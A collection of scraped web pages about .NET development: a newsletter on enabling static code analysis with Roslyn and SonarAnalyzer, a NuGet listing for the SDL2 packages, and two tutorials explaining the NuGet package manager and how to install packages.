"https://www.milanjovanovic.tech/_next/static/media/cover.31e11f05.png?imwidth=256 1x, /_next/static/media/cover.31e11f05.png?imwidth=384 2x"
] |
[] |
[] |
[
""
] | null |
[
"Milan Jovanović"
] |
2024-08-03T00:00:00+00:00
|
Static code analysis helps you build secure, maintainable, and high-quality C# code. In this week's newsletter, we'll explore how to integrate it into your .NET projects.
|
/profile_favicon.png
|
https://www.milanjovanovic.tech/blog/improving-code-quality-in-csharp-with-static-code-analysis
|
Writing good code is important for any software project. It's also something I deeply care about. However, it can be hard to spot problems by just reading through everything.
Luckily, there's a tool that can help: static code analysis.
It's like having an extra pair of eyes automatically checking your code. Static code analysis helps you build secure, maintainable, and high-quality C# code.
Here's what we are going to cover in this week's newsletter:
Static code analysis
Static analysis in .NET
Finding security risks
Let's see how static code analysis can help us improve our code quality.
What is Static Code Analysis?
Static code analysis is a way to examine your code without actually running it. It reports any issues related to security, performance, coding style, or best practices.
With static code analysis, you can "shift left". This allows you to find and fix issues early in the development process when they're less expensive to solve.
By writing high-quality code, you'll be able to build systems that are more reliable, scalable, and easier to maintain over time. Investing in code quality will pay dividends in the later stages of any project.
You can integrate static code analysis into your CI pipeline for a quick feedback loop. We can also pair this with architecture testing to enforce additional coding standards.
Static Code Analysis in .NET
.NET has built-in Roslyn analyzers that inspect your C# code for code style and quality issues. Code analysis is enabled by default if your project targets .NET 5 or later.
The best way I found to configure static code analysis is using Directory.Build.props. It's an XML file where you can configure common project properties. You can place the Directory.Build.props file in the root folder so it will apply to all projects.
You can configure the TargetFramework, ImplicitUsings, Nullable (nullable reference types), etc. But what we care about is configuring static code analysis.
Here are some properties we can configure:
TreatWarningsAsErrors - Treat all warnings as errors.
CodeAnalysisTreatWarningsAsErrors - Treat code quality (CAxxxx) warnings as errors.
EnforceCodeStyleInBuild - Enables code-style analysis ("IDExxxx") rules.
AnalysisLevel - Specifies which analyzers to enable. The default value is latest.
AnalysisMode - Configures the predefined code analysis configuration.
We can also install additional NuGet packages to our projects. SonarAnalyzer.CSharp contains additional code analyzers to help us write clean, safe, and reliable code. This library comes from the same company that built SonarQube.
<Project> <PropertyGroup> <TargetFramework>net8.0</TargetFramework> <ImplicitUsings>enable</ImplicitUsings> <Nullable>enable</Nullable> <AnalysisLevel>latest</AnalysisLevel> <AnalysisMode>All</AnalysisMode> <TreatWarningsAsErrors>true</TreatWarningsAsErrors> <CodeAnalysisTreatWarningsAsErrors>true</CodeAnalysisTreatWarningsAsErrors> <EnforceCodeStyleInBuild>true</EnforceCodeStyleInBuild> </PropertyGroup> <ItemGroup Condition="'$(MSBuildProjectExtension)' != '.dcproj'"> <PackageReference Include="SonarAnalyzer.CSharp" Version="*"> <PrivateAssets>all</PrivateAssets> <IncludeAssets> runtime; build; native; contentfiles; analyzers; buildtransitive </IncludeAssets> </PackageReference> </ItemGroup> </Project>
The built-in .NET analyzers and the ones from SonarAnalyzer.CSharp can be very helpful. But they can also make a lot of noise with too many build warnings.
When you encounter code analysis rules that you don't consider helpful, you can turn them off. You can configure individual code analysis rules in the .editorconfig file.
# S125: Sections of code should not be commented out dotnet_diagnostic.S125.severity = none # S1075: URIs should not be hardcoded dotnet_diagnostic.S1075.severity = none # S2094: Classes should not be empty dotnet_diagnostic.S2094.severity = none # S3267: Loops should be simplified with "LINQ" expressions dotnet_diagnostic.S3267.severity = none
Finding (and Fixing) Security Risks
Static code analysis can help you detect potential security vulnerabilities in your code. Here's an example of a PasswordHasher using only 10,000 iterations to generate a password hash. The S5344 rule, from SonarAnalyzer.CSharp, detects this issue and warns us. The recommended minimal number of iterations is 100,000.
You can navigate to the explanation for S5344 to learn more:
Weakly hashed password storage poses a significant security risk to software applications.
With TreatWarningsAsErrors turned on, your build will fail until you solve this issue. This reduces the chance of introducing security risks in production.
Conclusion
Static code analysis is a powerful tool I include in all my C# projects. It helps me catch problems early, leads to more reliable and secure code, and saves time and effort. While the initial setup and fine-tuning of rules might take some time, the long-term benefits are undeniable.
Remember, static code analysis is a tool that complements your existing development practices.
You can create a robust development process that consistently delivers high-quality software by combining static code analysis with other techniques like code reviews, unit testing, and continuous integration.
Embrace static code analysis. Your future self (and your team) will thank you.
That's all for today.
See you next week.
|
||||||
8582
|
dbpedia
|
3
| 12
|
https://www.nuget.org/packages/sdl2.nuget
|
en
|
sdl2.nuget 2.30.3
|
https://api.nuget.org/v3-flatcontainer/sdl2.nuget/2.30.3/icon
|
https://api.nuget.org/v3-flatcontainer/sdl2.nuget/2.30.3/icon
|
[
"https://api.nuget.org/v3-flatcontainer/sdl2.nuget/2.30.3/icon",
"https://nuget.org/Content/gallery/img/nuget-trends.svg",
"https://www.nuget.org/profiles/xapdkop/avatar?imageSize=64",
"https://www.nuget.org/profiles/kosmotema/avatar?imageSize=64",
"https://nuget.org/Content/gallery/img/facebook.svg",
"https://nuget.org/Content/gallery/img/twitter.svg",
"https://nuget.org/Content/gallery/img/rss.svg"
] |
[] |
[] |
[
""
] | null |
[] | null |
Simple DirectMedia Layer is a cross-platform development library designed to provide low level access to audio, keyboard, mouse, joystick, and graphics hardware via OpenGL and Direct3D. It is used by video...
|
en
|
/favicon.ico
|
https://www.nuget.org/packages/sdl2.nuget
|
sdl2_ttf.nuget
Simple DirectMedia Layer is a cross-platform development library designed to provide low level access to audio, keyboard, mouse, joystick, and graphics hardware via OpenGL and Direct3D. It is used by video playback software, emulators, and popular games including Valve's award winning catalog and many Humble Bundle games. SDL officially supports Windows, Mac OS X, Linux, iOS, and Android. Support for other platforms may be found in the source code. SDL is written in C, works natively with C++, and there are bindings available for several other languages, including C# and Python. --- Is this package outdated? Report here: https://github.com/kosmotema/sdl2-nuget
sdl2_image.nuget
Simple DirectMedia Layer is a cross-platform development library designed to provide low level access to audio, keyboard, mouse, joystick, and graphics hardware via OpenGL and Direct3D. It is used by video playback software, emulators, and popular games including Valve's award winning catalog and many Humble Bundle games. SDL officially supports Windows, Mac OS X, Linux, iOS, and Android. Support for other platforms may be found in the source code. SDL is written in C, works natively with C++, and there are bindings available for several other languages, including C# and Python. --- Is this package outdated? Report here: https://github.com/kosmotema/sdl2-nuget
sdl2_mixer.nuget
Simple DirectMedia Layer is a cross-platform development library designed to provide low level access to audio, keyboard, mouse, joystick, and graphics hardware via OpenGL and Direct3D. It is used by video playback software, emulators, and popular games including Valve's award winning catalog and many Humble Bundle games. SDL officially supports Windows, Mac OS X, Linux, iOS, and Android. Support for other platforms may be found in the source code. SDL is written in C, works natively with C++, and there are bindings available for several other languages, including C# and Python. --- Is this package outdated? Report here: https://github.com/kosmotema/sdl2-nuget
sdl2_net.nuget
Simple DirectMedia Layer is a cross-platform development library designed to provide low level access to audio, keyboard, mouse, joystick, and graphics hardware via OpenGL and Direct3D. It is used by video playback software, emulators, and popular games including Valve's award winning catalog and many Humble Bundle games. SDL officially supports Windows, Mac OS X, Linux, iOS, and Android. Support for other platforms may be found in the source code. SDL is written in C, works natively with C++, and there are bindings available for several other languages, including C# and Python. --- Is this package outdated? Report here: https://github.com/kosmotema/sdl2-nuget
|
|||
8582
|
dbpedia
|
0
| 10
|
https://ironpdf.com/blog/net-help/what-is-nuget/
|
en
|
What is NuGet (How It Works For Developers Tutorial)
|
[
"https://ironpdf.com/img/svgs/united-states.svg",
"https://ironpdf.com/img/svgs/spain.svg",
"https://ironpdf.com/img/company/about/who_we_are.webp",
"https://ironpdf.com/img/svgs/navbar/ironpdf-logo.svg",
"https://ironpdf.com/img/products/ironpdf-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironword-logo.svg",
"https://ironpdf.com/img/products/ironword-text-without-icon-white.svg",
"https://ironpdf.com/img/svgs/navbar/ironxl-logo.svg",
"https://ironpdf.com/img/products/ironxl-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironocr-logo.svg",
"https://ironpdf.com/img/products/ironocr-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironbarcode-logo.svg",
"https://ironpdf.com/img/products/ironbarcode-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironqr-logo.svg",
"https://ironpdf.com/img/products/ironqr-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironzip-logo.svg",
"https://ironpdf.com/img/products/ironzip-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironprint-logo.svg",
"https://ironpdf.com/img/products/ironprint-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironwebscraper-logo.svg",
"https://ironpdf.com/img/products/ironwebscraper-text.svg",
"https://ironpdf.com/img/products/suite-logo-text-dotnet-large-white-v2.svg",
"https://ironpdf.com/img/products/suite-logo-text-dotnet-large-white-v3.svg",
"https://ironpdf.com/img/svgs/teamseas-logo-for-dropdown.svg",
"https://ironpdf.com/img/svgs/navbar/ironsecuredoc-logo.svg",
"https://ironpdf.com/img/products/ironsecuredoc-text-without-icon-white.svg",
"https://ironpdf.com/img/svgs/navbar/irondrawing-logo.svg",
"https://ironpdf.com/img/products/irondrawing-text-without-icon-white_2.svg",
"https://ironpdf.com/img/svgs/navbar/ironfreetools-logo.svg",
"https://ironpdf.com/img/products/ironfreetools-text-without-icon-white-text.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text.svg",
"https://ironsoftware.com/img/svgs/logo-icon.svg",
"https://ironpdf.com/img/products/ironpdf-text-without-icon-black.svg",
"https://ironpdf.com/img/svgs/search-no-results.svg",
"https://ironpdf.com/img/svgs/illustration2.svg",
"https://ironpdf.com/static-assets/pdf/blog/what-is-nuget/what-is-nuget-1.webp",
"https://ironpdf.com/static-assets/pdf/blog/what-is-nuget/what-is-nuget-2.webp",
"https://ironpdf.com/static-assets/pdf/blog/what-is-nuget/what-is-nuget-3.webp",
"https://ironpdf.com/static-assets/pdf/blog/what-is-nuget/what-is-nuget-4.webp",
"https://ironpdf.com/img/nuget.blue.svg",
"https://ironpdf.com/img/svgs/tick-green.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_test.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_calendar.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_support.svg",
"https://ironpdf.com/img/license-types/icon-lightbulb.svg",
"https://ironpdf.com/img/nuget-logo.svg",
"https://ironpdf.com/img/dll-img.png",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_test.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_calendar.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_support.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_checked.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_aetna_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_wwf_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_nasa_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_usds_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_3m_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_tesla_grey.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_test.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_calendar.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_support.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_aetna_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_wwf_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_nasa_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_usds_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_3m_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_tesla_grey.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_test.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_calendar.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_support.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_checked.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_aetna_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_wwf_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_nasa_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_usds_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_3m_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_tesla_grey.svg",
"https://ironpdf.com/img/svgs/ribbon.svg",
"https://ironpdf.com/img/agency-img.svg",
"https://ironpdf.com/img/post-sale/suite-logo-white.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/products/ironocr-logo-text-dotnet.svg",
"https://ironpdf.com/img/products/ironxl-logo-text-dotnet.svg",
"https://ironpdf.com/img/products/ironbarcode-logo-text-dotnet.svg",
"https://ironpdf.com/img/products/ironwebscraper-logo-text-dotnet.svg",
"https://ironpdf.com/img/svgs/curved-white-arrow.svg",
"https://ironpdf.com/img/products/h-56/ironpdf-text.svg",
"https://ironpdf.com/img/products/h-56/ironword-text.svg",
"https://ironpdf.com/img/products/h-56/ironxl-text.svg",
"https://ironpdf.com/img/products/h-56/ironocr-text.svg",
"https://ironpdf.com/img/products/h-56/ironbarcode-text.svg",
"https://ironpdf.com/img/products/h-56/ironqr-text.svg",
"https://ironpdf.com/img/products/h-56/ironzip-text.svg",
"https://ironpdf.com/img/products/h-56/ironprint-text.svg",
"https://ironpdf.com/img/products/h-56/ironwebscraper-text.svg",
"https://ironpdf.com/img/products/footer-top-logo-ironpdf-for-net.svg",
"https://ironpdf.com/img/svgs/hero-logo__162x20.svg",
"https://ironpdf.com/img/footer-socials/github.svg",
"https://ironpdf.com/img/footer-socials/youtube.svg",
"https://ironpdf.com/img/footer-socials/twitter-x.svg",
"https://ironpdf.com/img/footer-socials/facebook.svg",
"https://ironpdf.com/img/footer-socials/linkedin.svg",
"https://ironpdf.com/img/icons/slack-icon.svg",
"https://ironpdf.com/img/svgs/united-states.svg",
"https://ironpdf.com/img/svgs/spain.svg",
"https://ironpdf.com/img/svgs/supporting-teamseas-message-footer.svg"
] |
[
"https://www.youtube.com/embed/OjZl-3M05EA?start=0"
] |
[] |
[
""
] | null |
[] |
2022-10-31T00:00:00+07:00
|
In simpler words, a NuGet package is just like a zip file with the extension .nupkg. It contains all the DLL's as well as a descriptive manifest containing information such as the package's version number.
|
en
|
/img/favicon/iron-software-favicon.png
|
https://ironpdf.com/blog/net-help/what-is-nuget/
|
A system that allows developers to write, exchange, and use functional code is a crucial component of any modern development platform. This functional code is bundled in "packages" that also include other materials required by the projects that use them, such as compiled code (in the form of DLLs).
The Microsoft-supported method of code sharing for .NET (including .NET Core) is NuGet. NuGet enables the production, hosting, and retrieval of packages for .NET Frameworks. Software packages that NuGet manages are called NuGet packages.
What is NuGet? NuGet package is just a zip file with the extension .nupkg. it contains all the DLLs required to make the software function. It also contains a descriptive manifest that the package's version number, among other things. Developers just need to install the NuGet package, and they can use the methods provided by that package.
NuGet Features
NuGet adds private hosting support to the central nuget.org repository.
NuGet provides the tools that developers need to create, publish, and install packages.
NuGet keeps track of the packages used in a project and allows you to restore and update those packages from that list.
NuGet keeps track of all the specifications pertaining to how packages are structured, such as localization and how they are referenced.
NuGet provides numerous APIs for programmatically interacting with all of its services, as well as support for developers who publish Visual Studio extensions.
NuGet includes a package cache and a global folder for packages to make installation and reinstallation easier. If a package is already present on the local machine, the cache will not download it from the central repository, and will instead serve the package from the cache.
How NuGet Package works?
NuGet, as a public host, maintains a central repository of over 100,000 unique packages. Every day, millions of .NET/.NET Core developers use these packages. NuGet also lets you host packages privately in the cloud (for example, on Azure DevOps), on a private network, or even on your local file system. As a result, those packages are only available to developers who have access to the host, allowing you to make packages available to a specific group of consumers.
A host, whatever its nature, serves as the link between package creators and package consumers. Creators develop useful NuGet packages and distribute them to a host. Consumers then search accessible hosts for useful and compatible packages, downloading and including those packages in their projects. Once installed in a project, the API's of the packages are accessible to the rest of the project code.
There are six tools which are used to manage NuGet Packages.
.NET CLI
It is a command line Interface (CLI) for .NET Core and .NET Standard libraries, as well as for SDK-style projects targeting the .NET Framework (see SDK attribute). Certain NuGet CLI capabilities are available directly within the .NET Core tool chain. The .NET CLI, like the nuget.exe CLI, does not interact with Visual Studio projects.
NuGet.exe CLI
It is a CLI for .NET Framework libraries and non-SDK-style projects aiming at .NET Standard libraries. It provides all the capabilities of the .NET CLI, with some commands only applicable to package creators and other commands only to consumers. Package creators, for example, use the NuGet pack command to generate a package from various assemblies and related files. Package users use NuGet install to include packages in a project folder. Both package developers and package users uses NuGet config to set NuGet configuration variables.
The NuGet CLI does not interact with Visual Studio projects because it is a platform-agnostic tool.
Package Manager Console
The Package Manager Console provides PowerShell commands for installing and managing packages within Visual Studio projects.
Package Manager UI
The Package Manager UI provides a user-friendly interface for installing and managing packages for projects within Visual Studio.
Manage NuGet Package Manager UI
This tool also provides a user-friendly interface for installing and managing packages in for projects in Visual Studio. This tool is available only for Mac users.
MSBuild
MSBuild allows users to create and restore packages used in a project directly from the MSBuild tool chain.
Package Manager UI and Package Manager Console are most widely used tools for managing NuGet packages. We will now explore how they are used.
Use of the NuGet Package Manager UI
In Visual Studio, click on on Tools from the Top Menu Bar and select NuGet Package Manager > Manage NuGet package for Solutions.
A new window will appear as shown below.
In the Installed tab, all the NuGet packages that are already installed will appear here.
Click on the Browse Button and write the name of a package in the Search Bar. We will search for IronBarcode as an example.
Click on the Install Button, the library will be installed and made ready for use.
IronBarcode is a library developed and maintained by Iron Software that helps C# Software Engineers read and write Barcodes and QR Codes in .NET applications.
Core features include:
Read single or multiple Barcodes and QR Codes from images or PDFs.
Image correction for skewing, orientation, noise, low resolution, contrast, etc.
Create barcodes and apply to images or PDF documents.
Embed barcodes into HTML documents.
Style Barcodes and add annotation text.
QR Code Writing allows adding of logos, colors, and advanced QR alignment.
Learn more about IronBarcode from the product documentation page.
Use of the Package Manager Console
In Visual Studio, click on Tools from the Top Menu Bar and select NuGet Package Manager => Package Manager console.
The Package Manager Console window will appear as shown below.
Let's install a package using the Package Manager Console.
The Install-Package 'package-Name' command is used to install the package. For Instance:
Install-Package IronPdf
IronOCR is a C# software library that allows .NET software developers to detect and read text from images and PDF documents. It uses the most advanced Tesseract engine known anywhere. IronOCR shines above all other OCR libraries when working with real world images riddled with imperfections (i.e. digital noise, low-quality resolutions, etc.) It supports multiple programming languages.
Read more technical documentation about IronOCR from the product website.
Some Useful NuGet Packages
This section will describe some useful NuGet Packages available for working with databases and files.
Entity Framework
Entity Framework is the most common and powerful NuGet Package available for working with databases in .NET applications.
It is a Microsoft-supported open-source ORM framework that allows developers to work with data using domain-specific objects rather than using the underlying database tables and columns where the data is stored. When working with data, developers can work at a higher level of abstraction. This allows them to create and maintain data-oriented applications with less code than traditional applications.
There are separate NuGet packages available for managing SQL server, Oracle, MySQL, and PostgreSQL database servers.
The Getting-Started page provides more information about Entity Framework's capabilities.
IronPDF
IronPDF solves the difficult problem of adding PDF processing capabilities to apps. IronPDF automates the conversion of formatted documents to PDF, and also allows develoeprs to to create, edit, and export PDF documents.
The main features of IronPDF include:
Convert web forms, local HTML pages, and other web pages to PDF with .NET.
Allow users to download documents, send them by email, or store them in the cloud.
Produce invoices, quotes, reports, contracts, and other documents.
Work with ASP .NET, ASP .NET Core, web forms, MVC, Web API's on .NET Framework, and .NET Core.
Read more about IronPDF on its product documentation page.
IronXL
IronXL helps C# Software Engineers read, create, and edit spreadsheet files in .NET applications. IronXL works well without the use of Office Excel Interop, and does not require additional dependencies or the need to install Microsoft Office.
You can learn more about IronXL from here.
Iron Software provides all five libraries (IronPDF, IronXL, IronBarcode, IronWebscraper, and IronOCR) in a single .NET Suite. You can get all five libraries for the price of two on purchasing the complete suite. All purchases include lifetime product support.
Summary
NuGet is the package manager for .NET applications. The NuGet client tools provide the ability to create, share, and retrieve packages. The NuGet Gallery is the central package repository used by all package authors and consumers.
|
|||||
8582
|
dbpedia
|
3
| 45
|
https://medium.com/c-sharp-progarmming/introduction-to-nuget-package-manager-89c8800241b2
|
en
|
Introduction to Nuget Package Manager
|
[
"https://miro.medium.com/v2/resize:fill:64:64/1*dmbNkD5D-u45r44go_cf0g.png",
"https://miro.medium.com/v2/resize:fill:88:88/1*kaSKXIc2dFlyyTvkLAH3Hg.png",
"https://miro.medium.com/v2/da:true/resize:fill:48:48/1*JtC1CS6-OT218_QzRlLXFw.gif",
"https://miro.medium.com/v2/resize:fill:144:144/1*kaSKXIc2dFlyyTvkLAH3Hg.png",
"https://miro.medium.com/v2/da:true/resize:fill:64:64/1*JtC1CS6-OT218_QzRlLXFw.gif"
] |
[] |
[] |
[
""
] | null |
[
"sonia jessica",
"soniajm.medium.com"
] |
2021-08-04T10:00:50.845000+00:00
|
NuGet is a free, open-source Microsoft development framework package manager (formerly known as NuPack). NuGet is a Visual Studio 2010 extension that makes it simple to add, delete, and upgrade…
|
en
|
https://miro.medium.com/v2/5d8de952517e8160e40ef9841c781cdc14a5db313057fa3c3de41c6f5b494b19
|
Medium
|
https://medium.com/c-sharp-progarmming/introduction-to-nuget-package-manager-89c8800241b2
|
NuGet is a free, open-source Microsoft development framework package manager (formerly known as NuPack). NuGet is a Visual Studio 2010 extension that makes it simple to add, delete, and upgrade libraries and resources in.NET Framework-based Visual Studio projects. NuGet is available as a Visual Studio add-on. NuGet is pre-installed by default in Visual Studio 2012 and later. SharpDevelop also has a NuGet integration. NuGet can also be run from the command line, and scripts can be used to simplify the process. It supports a variety of programming languages, including packages for the .NET Framework and the native packages written in C++.
Uses of NuGet:
The Flow of Packages:
A NuGet package takes the form of a single ZIP file with the .nupkg extension that contains compiled code (DLLs), related files, and a descriptive manifest that provides details such as the package’s version number. Developers who want to share their code build packages and upload them to a public or private server. Package consumers receive packages from appropriate hosts, use them in their projects, and then use the functionality of the packages in their project code. The intermediate specifics are then handled by NuGet.
You can use NuGet packages to distribute code that is unique to a company or a workgroup since NuGet supports private hosts in addition to the public nuget.org host. You can also use NuGet packages to factor your own code so that it can only be used in your own projects. In summary, a NuGet package is a shareable unit of code that does not involve or imply any specific sharing mechanism.
Package Targeting Compatibility:
Package developers who need APIs that aren’t part of the.NET Standard framework, on the other hand, build separate assemblies for each target framework they want to support and bundle them all together in one package (which is called “multi-targeting”). NuGet extracts only the assemblies required by the project when a consumer installs such a package. This reduces the size of the package in the project’s final application and/or assemblies. Of course, maintaining a multi-targeting package is more challenging for its developer.
Managing Dependencies:
One of the most powerful advantages of a package management system is the ability to quickly build on the work of others. As a result, a large part of NuGet’s job is to manage a project’s dependency tree or “graph.” Simply put, you just need to worry about the packages you’re directly using in a project. NuGet takes care of all down-level dependencies if any of those packages consume other packages (which can, in turn, consume even others).
NuGet manages the overall dependency graph within a single project, which involves resolving multiple references to various versions of the same package. It’s very common for a project to rely on one or more packages that have the same dependencies as the project itself. Many other packages use some of the most useful utility packages on nuget.org. NuGet sorts out which single version can be used by all users to prevent bringing different versions of the package into the application itself.
Tracking References and Restoring Packages:
NuGet, on the other hand, keeps a concise reference list of all the packages that a project relies on, including both top-level and down-level dependencies. NuGet records the package identifier and version number in the reference list whenever you install a package from a host into a project. Then, as defined in Package restore, NuGet provides a way to restore all referenced packages on demand.
NuGet can then reinstall — that is, restore — all of those packages from public and/or private hosts at any time using only the reference list. You only use the reference list and remove any package binaries when committing a project to source control or sharing it in any other way.
NuGet Tools:
Working:
Managing packages:
To make installation and reinstallation easier, NuGet keeps track of a package cache and a global packages folder. The cache prevents the installation of a package that is already loaded on the computer. Multiple projects will share the same installed package in the global packages folder, minimizing NuGet’s overall size on the device. When restoring a large number of packages regularly, such as on a build server, the cache and global packages folder come in handy.
When NuGet is asked to find a package, it searches in the global packages folder first. NuGet searches all non-HTTP package sources if the exact version of the package is not available. Unless you declare — no-cache with dotnet.exe commands or -NoCache with nuget.exe commands, NuGet searches for the package in the HTTP-cache if it is still not identified. NuGet retrieves the package over HTTP if it isn’t in the cache or if the cache isn’t being used.
Monitoring References and Restoring Packages:
When a computer receives a project, it simply asks NuGet to restore dependencies as required. When it comes to developers, NuGet’s primary function is to preserve the reference list on your behalf and provide a way to quickly restore (and update) those referenced packages. Either of two package management formats is used to keep track of this list:
PackageReference: Holds a list of a project’s top-level dependencies in the project file itself, eliminating the need for a separate file. obj/project.assets.json is a dynamically generated file that manages the overall dependency graph of a project’s packages, as well as all down-level dependencies. .NET Core projects still use PackageReference.
packages.config: An XML file that keeps a flat list of all the project’s dependencies, including those of other installed packages. Packages that have been installed or restored are saved in a packages folder.
Dependency Resolution:
with PackageReference:
NuGet adds references to a flat package graph in the required file and addresses conflicts ahead of time while installing packages into projects using the PackageReference format. The term “transitive restore” refers to this procedure. The installation of the packages specified in the graph is then used to reinstall or restore packages, resulting in faster and more predictable builds.
Prior to a build, the NuGet restore process resolves dependencies in memory first, then writes the resulting graph to a file named project.assets.json. If the lock file feature is allowed, it also writes the resolved dependencies to a lock file called packages.lock.json. MSBuildProjectExtensionsPath, which defaults to the project’s ‘obj’ folder, contains the assets file. MSBuild then reads this file and converts it to a series of files containing possible references, which it then attaches to the project tree in memory. The project.assets.json file should not be added to source control because it is only temporary. Both.gitignore and.tfignore include it by default.
with packages.config
A project’s dependencies are written to packages.config as a flat list with packages.config. Those packages’ dependencies are also included in the same list. NuGet can change the.csproj file, app.config, web.config, and other individual files when installing packages.
NuGet tries to overcome dependency conflicts during the installation of each individual package using packages.config. That is, if Package X is being installed and depends on Package Y, and Package Y is already described as a dependency of something else in packages.config, NuGet compares the versions of Package Y being requested and tries to find one that meets all version constraints. NuGet specifically chooses the lower major. minor edition that satisfies dependencies.
For larger dependency graphs, the packages.config method for resolving dependencies becomes difficult. Each new package installation necessitates a full traversal of the graph, increasing the risk of version conflicts. When a conflict exists, installation is halted, leaving the project in an uncertain state, particularly if the project file itself has been modified. When using other package management formats, this is not a problem.
NuGet Installation:
You don’t need to install NuGet if you’re using Visual Studio 2012 or higher because it’s already installed. If you’re using Visual Studio 2010, you can install it by going to the Tools menu and selecting Visual Studio Extension Manager. Then, under the Online Gallery tab, look for NuGet Package Manager and install it. Run the Visual Studio installer and check the option under Individual Components > Code tools > NuGet package manager to see if the Package Manager is installed.
To support NuGet features in the IDE, you can use either the dotnet CLI or the nuget.exe CLI. Some Visual Studio workloads, such as.NET Core, include the dotnet CLI. A separate installation of the nuget.exe CLI is needed.
dotnet.exe CLI
dotnet.exe, the .NET Core 2.0 CLI, runs on all platforms (Windows, Mac, and Linux) and includes core NuGet functionality including package installation, restoration, and publishing. Direct integration with .NET Core project files (such as.csproj) is available in dotnet, which is useful in most scenarios. dotnet is also designed specifically for each platform, so you won’t need to install Mono.
Install the .NET Core SDK on developer computers. The dotnet CLI has now been installed automatically with any.NET Core-related workloads in Visual Studio 2017.
nuget.exe CLI
The nuget.exe CLI, also known as nuget.exe, is a command-line tool for Windows that offers all NuGet capabilities; it can also be run on Mac OS X and Linux with some limitations using Mono.
Windows:
Select the nuget.exe version of your choice for downloading. Each download contains only the nuget.exe file. Instruct your browser to save the file to a specific folder. You won’t see anything if you run the file directly from the browser because it isn’t an installer.
To use the CLI tool from anywhere, add the folder where nuget.exe is located to your PATH environment variable.
macOS/Linux:
Get Mono 4.4.2 or later installed.
The following command to be executed at a shell prompt:
# The latest stable `nuget.exe` to be downloaded to `/usr/local/bin`
sudo curl -o /usr/local/bin/nuget.exe https://dist.nuget.org/win-x86-commandline/latest/nuget.exe
Add the script below to the required file for your operating system to create an alias.(typically ~/.bash_aliases or ~/.bash_profile):
# Create an alias for the nuget
alias nuget = “mono /usr/local/bin/nuget.exe”
The shell is to be reloaded. Verify the installation by entering nuget with no parameters. NuGet CLI help should be displayed.
Using NuGet from GUI:
Adding a package to your project:
To add a package,
Right-click the References node in the Solution Explorer and select Manage NuGet Packages.
It will open a dialogue box; in the search text box on the top right side, type the desired package name. When you select a package, the right side pane displays package details such as Created By, Id, Version, Downloads, Description, Dependencies, and so on.
Now, click on the Install button, and the package, as well as any dependencies, will be downloaded and installed in your application.
If installed, it makes a few changes to your project, such as creating a file called packages.config if you’re adding a package for the first time. This file keeps track of all the packages installed in your project. It also generates a packages folder in the same directory as your solution (.sln) file. Each installed package has its own subfolder with its own version number in the Packages folder. NuGet will automatically add the library’s reference and make the required adjustments to the config file. You don’t have to do anything and can start using the kit in your application right away.
Updating a package in your project:
To update a project,
Open the Manage NuGet Packages dialog box and click on the Updates node featuring in the left pane. A list of packages that have the new version will appear.
Click on the Update button that appears next to the package name. It will update the latest package along with the dependencies of that package if there exists any.
Uninstalling a package from your project:
Open the Manage NuGet Packages dialog box and select Installed Packages appearing in the left section. It will display the entire list of installed packages.
Click on the package name that you want to uninstall and it will show a button named Manage. Click on that Manage button and a Select Project dialog box will appear.
